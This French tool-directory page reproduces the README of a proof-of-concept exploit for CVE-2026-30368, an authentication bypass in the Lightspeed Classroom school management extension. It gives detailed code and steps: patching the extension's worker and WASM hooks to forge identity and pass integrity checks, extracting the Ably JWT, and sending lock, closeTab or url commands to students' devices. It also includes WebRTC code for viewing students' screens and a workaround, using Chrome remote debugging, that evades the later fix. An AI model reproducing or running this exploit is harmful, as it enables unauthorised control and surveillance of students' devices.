Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ls-poc — Preuve de concept pour CVE-2026-30368, démontrant un contournement d'authentification dans Lightspeed Classroom pour contrôler les appareils des étudiants via le canal Ably. | Kitploit
Outils/GitHubGitHub/truekas/ls-poc
ReconnaissanceExploitationExploitation d'Applications WebCommandement et ContrôleOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubtruekas/ls-poc

ls-poc

Preuve de concept pour CVE-2026-30368, démontrant un contournement d'authentification dans Lightspeed Classroom pour contrôler les appareils des étudiants via le canal Ably.

Voir le dépôt
152il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept CVE-2026-30368

[!IMPORTANT]

Ceci est corrigé et nécessite désormais des identifiants, utilisez la solution de contournement pour effectuer des actions sur vous-même.

Introduction

CVE-2026-30368 permet à un attaquant de contrôler les appareils des étudiants via une faille d'authentification faible dans la gestion de classe Lightspeed Classroom. La POC (poc.js) exécute le service worker de l'extension LS Classroom dans un contexte global. Le worker exécute également classroom.wasm pour certaines fonctions. wasm-loader.js charge le worker et extrait le jeton JWT généré par classroom.wasm. Une fois extrait, il tue le worker, puis envoie le jeton aux API Lightspeed pour recevoir un jeton utilisé pour se connecter au canal Ably de la cible. De là, un attaquant pourrait envoyer une commande à un appareil étudiant. La liste des commandes et beaucoup plus d'informations se trouvent dans le rapport complet disponible ici.

VOUS DEVEZ FOURNIR VOS PROPRES FICHIERS WORKER.JS, CLASSROOM.WASM ET MANIFEST.JSON !

Ceux-ci ne peuvent pas être dans ce dépôt car :

  • Ce dépôt sera définitivement DMCAd par Lightspeed si je le fais
  • Les fichiers sont différents pour chaque district/version

Pour éviter les problèmes, je recommande d'utiliser la version 5.1.2.1763770643. Si vous avez besoin d'aide pour adapter des versions plus récentes, vous êtes seul.
Vous pouvez obtenir les fichiers worker.js et classroom.wasm à partir du code source de l'extension Lightspeed. Cela peut être obtenu en vous connectant avec votre compte scolaire sur Chrome sur un appareil personnel, puis en extrayant le code source de l'extension depuis le dossier des extensions situé dans votre répertoire de profil Chrome. Vous pouvez également télécharger manuellement le crx via l'URL de mise à jour.

MÉTHODE RECOMMANDÉE

La méthode la plus simple de cette exploitation consiste d'abord à obtenir classroom.wasm à partir du code source de votre extension, puis à le coller dans le même répertoire que wasm-only.js, et à exécuter :

root@kitploit:~
$ node wasm-only.js

Saisissez un e-mail et un ID client lorsque vous y êtes invité. Cela se connectera au canal ably. Allez à la ligne 815 et décommentez ce que vous voulez envoyer comme messages. Crédit : ktibow sur discord

Configuration du chargeur wasm

Une fois que vous avez les fichiers, ajoutez-les simplement au répertoire du dépôt cloné. Vous devrez aller dans wasm-loader.js jusqu'à la fonction getManifest() et coller votre manifeste d'extension là-bas. Vous devrez également ajouter l'ID d'extension en haut de wasm-loader.js.

Faites une copie de worker.js avec un nom de fichier à votre convenance. Vous en aurez besoin plus tard. Vous devrez exécuter worker.js via webcrack afin de désobfusquer et déminifier pour effectuer les modifications nécessaires. Lorsque vous faites cela, assurez-vous de sélectionner uniquement les options "Deobfuscate" et "Unminify". Avant de coller le résultat dans votre éditeur, il est recommandé de désactiver tous les serveurs LSP car ils supprimeront des variables aléatoires et casseront le worker dans les étapes suivantes (je vous regarde, vtsls...)

Correction du Worker

Étant donné que le service worker sera exécuté sur node.js (assurez-vous de l'avoir installé), il aura besoin de quelques correctifs pour fonctionner correctement. La logique d'extraction du JWT doit également être ajoutée. Ajoutez les 2 fonctions suivantes tout en haut de worker.js :

root@kitploit:~
function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

Ces fonctions seront utilisées lorsque nous modifierons le runtime go wasm pour intercepter et modifier les valeurs utilisées par le wasm LS classroom. Assurez-vous de remplacer YOUR_EXTENSION_ID par votre ID d'extension et worker_copy.js par le nom de fichier de la copie du worker.js original que vous avez faite précédemment. Ensuite, ajoutez ces 2 fonctions à l'intérieur de la fonction fléchée principale (après le (() => {)

root@kitploit:~
chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

Ensuite, vous devez coder en dur IsClassroomActive sur true afin de pouvoir exécuter cela en dehors des réseaux du campus. Modifiez simplement la fonction pour qu'elle retourne toujours true :

root@kitploit:~
_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

Ensuite, recherchez syscall/js.valueCall pour trouver la fonction valueCall qui doit être modifiée. C'est ce qui informe le wasm d'une valeur JS. Les 2 valeurs qui sont interceptées et modifiées en modifiant cette fonction sont le chemin de worker.js (il est changé en copie de votre worker pour que la vérification de hachage réussisse) et la valeur de chrome.identity.getProfileUserInfo.toString est changée pour dire native code afin que le WASM croie qu'il peut être fiable alors qu'en réalité il a été modifié en haut du fichier. Pour ce faire, vous devez utiliser les fonctions valueCallBefore et valueCallAfter que nous avons définies en haut. Modifiez la fonction valueCall comme suit (les noms de variables varieront, mais la structure est la même) :

root@kitploit:~
"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

Presque terminé. Enfin, vous devez ajouter du code pour capturer le JWT. Recherchez echoMessages: false et vous trouverez la variable contenant la liste des en-têtes envoyés à Ably. Juste en dessous, ajoutez cette ligne (les noms de variables ne seront très probablement pas exacts, vous pouvez trouver la même ligne accédant à ablyJwt dans authHeaders) :

root@kitploit:~
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

Cela assigne le JWT à une variable dans la portée globale afin que wasm-loader.js (le "harnais" exécutant le service worker) puisse y accéder. Cela conclut la modification du worker. Assurez-vous que tous vos LSP sont toujours désactivés. S'ils se sont réactivés, vous pourriez rencontrer des problèmes avec des variables non définies plus tard.

Préparation finale

Passez au fichier poc.js. En haut, ajoutez l'e-mail et l'ID client d'un compte sur lequel vous souhaitez tester (de préférence le vôtre). Utiliser un ID client autre que le vôtre générera une erreur car vous devez avoir les fichiers worker.js et classroom.wasm corrects correspondant à cet ID client.

Je ne cautionne pas l'utilisation de ceci sur de vrais étudiants sans leur consentement !!! 🙂

La clé API Ably dans poc.js est expurgée pour des raisons légales, vous devrez donc la trouver vous-même. Cherchez-la dans worker.js, elle commence par G52. Votre ID client peut également être trouvé au même endroit, recherchez CUSTOMER_ID: ou cherchez une chaîne dans ce format : XX-XXXX-XXXX. Les 3 derniers chiffres sont généralement 000.

Concernant le user agent, vous pouvez le définir comme vous le souhaitez mais AWS peut bloquer certains UA associés aux outils d'automatisation. Une fois que vous avez fait tout cela, allez en bas et vous pouvez ajouter un message à envoyer au canal Ably de l'utilisateur en utilisant publish. Les messages peuvent inclure lock, closeTab, url, et plus encore. La liste complète des messages Ably utilisés par Lightspeed est ici.

Exécution

Exécutez le fichier avec node.js, deno, ou un autre runtime. Bun ne fonctionne pas.

root@kitploit:~
$ node poc.js

N'hésitez pas à étendre la POC et à en faire un CLI ou autre chose.

RTC

Si quelqu'un se demandait comment faire fonctionner la fonction WebRTC (visualisation des écrans) de Lightspeed Classroom, c'est possible mais capricieux. Vous devez remplir les conditions suivantes pour que cela fonctionne :

  • L'heure actuelle doit correspondre aux fenêtres de class_schedule spécifiées dans la politique (lisez le rapport complet pour plus d'informations)
  • Le client doit être sur les réseaux du campus si requis
  • Vous devriez être sur le même réseau (optionnel mais fortement recommandé)
  • Fonctionne mieux lorsqu'un enseignant utilise Lightspeed simultanément (cela ouvre la fenêtre pour que le RTC fonctionne)

En supposant que vous êtes déjà connecté au canal Ably du client, ce qui suit peut être utilisé pour initier une connexion WebRTC :

root@kitploit:~
channel.publish('request_rtc', {
  sessionId: sessId,
  role: 'viewer',
  want: ['video']
});

// configuration rtc
const pc = new RTCPeerConnection();
const pendingIce = [];

pc.onicecandidate = (event) => {
  if (event.candidate?.candidate) {
    channel.publish('answer_rtc_ice', {
      sessionId: sessId,
      ice: event.candidate
    });
  }
};

channel.subscribe(async (msg) => {
  if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
    await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
    for (const ice of pendingIce) await pc.addIceCandidate(ice);
    pendingIce.length = 0;

    const answer = await pc.createAnswer();
    await pc.setLocalDescription(answer);
    channel.publish('answer_rtc', { sessionId: sessId, answer });
  }

  if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
    const ice = msg.data.ice;
    if (!ice?.candidate) return;
    if (pc.remoteDescription) await pc.addIceCandidate(ice);
    else pendingIce.push(ice);
  }
});

C'est à vous de trouver comment visualiser la vidéo (toute personne ayant des connaissances HTML de base et un peu de recherche/IA devrait pouvoir le faire) mais le code ci-dessus établit la connexion. Malheureusement, le flux sera à 1 FPS mais c'est une limitation de LS classroom lui-même.

Encore une fois, je ne peux pas garantir que cela fonctionnera tout le temps car c'est beaucoup trop capricieux, mais faites-moi savoir si vous arrivez à le faire fonctionner de manière constante !

Visionneuse Web

Exécutez pnpm i, placez classroom.wasm à la racine du dépôt, puis exécutez pnpm dev pour démarrer la visionneuse web.

Solution de contournement

[!IMPORTANT]

CETTE SECTION REQUIERT DES IDENTIFIANTS ET UN APPAREIL PERSONNEL

Le 23 avril, Lightspeed a commencé à déployer un correctif pour cette CVE. Il a ajouté une nouvelle extension, Lightspeed Identity Agent (nom de code interne : LS One), qui fournit à Classroom un jeton OAuth Google pour vérifier votre identité. La solution de contournement vous permet d'effectuer des actions sur vous-même, ou sur toute autre personne pour laquelle vous avez des identifiants. Ceci n'a été testé que sur Linux.

Tout d'abord, installez Google Chrome stable et connectez-vous avec un compte scolaire. Assurez-vous que l'extension Lightspeed Identity Agent est installée. Fermez Chrome. Ensuite, copiez le répertoire de données utilisateur de Chrome vers un emplacement temporaire. Par exemple, sur Linux : cp -r ~/.config/google-chrome /tmp/chromedata. Placez votre fichier classroom.wasm dans le répertoire du dépôt. Remplissez les valeurs en haut de oauth-poc.js. Ouvrez un terminal (vous l'utiliserez plus tard mais ouvrez-le maintenant). Redémarrez Chrome avec les indicateurs de ligne de commande suivants :

root@kitploit:~
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata

Cela activera le débogage à distance. Attendez 15 secondes pour que le service worker s'initialise. Exécutez oauth-poc.js :

root@kitploit:~
$ node oauth-poc.js

Si vous avez reçu un message indiquant que l'extension LS One n'a pas pu être trouvée, soit vous n'avez pas attendu 15 secondes après le lancement de Chrome, soit vous avez attendu trop longtemps et le service worker s'est endormi, soit vous n'avez pas rempli l'ID d'extension en haut de oauth-poc.js.

Si vous recevez une erreur 403 lors de la connexion à Ably, vérifiez que vous avez le bon classroom.wasm, le bon e-mail, et essayez de vous déplacer vers une IP scolaire.

Si vous n'avez reçu aucune erreur, félicitations ! Laissez simplement le script tourner et vous serez immunisé contre le verrouillage par les enseignants, la fermeture d'onglets et la visualisation d'écran (expérimental).

Notes finales

Veuillez ne pas utiliser cette POC à des fins destructrices. Je ne suis pas responsable des actions malveillantes que vous pourriez commettre. Comme vous le savez peut-être, Lightspeed a dormi sur cette faille pendant 3 mois et je ne m'attends pas vraiment à un correctif avant une autre semaine (ou plus ?...). Espérons que cela leur fera comprendre la gravité réelle de la situation et les fera corriger plus rapidement. Enfin, si vous êtes un informaticien scolaire, envoyez ceci à vos supérieurs 🙂

♥️, truekas 4.22.2026

Télécharger l’outil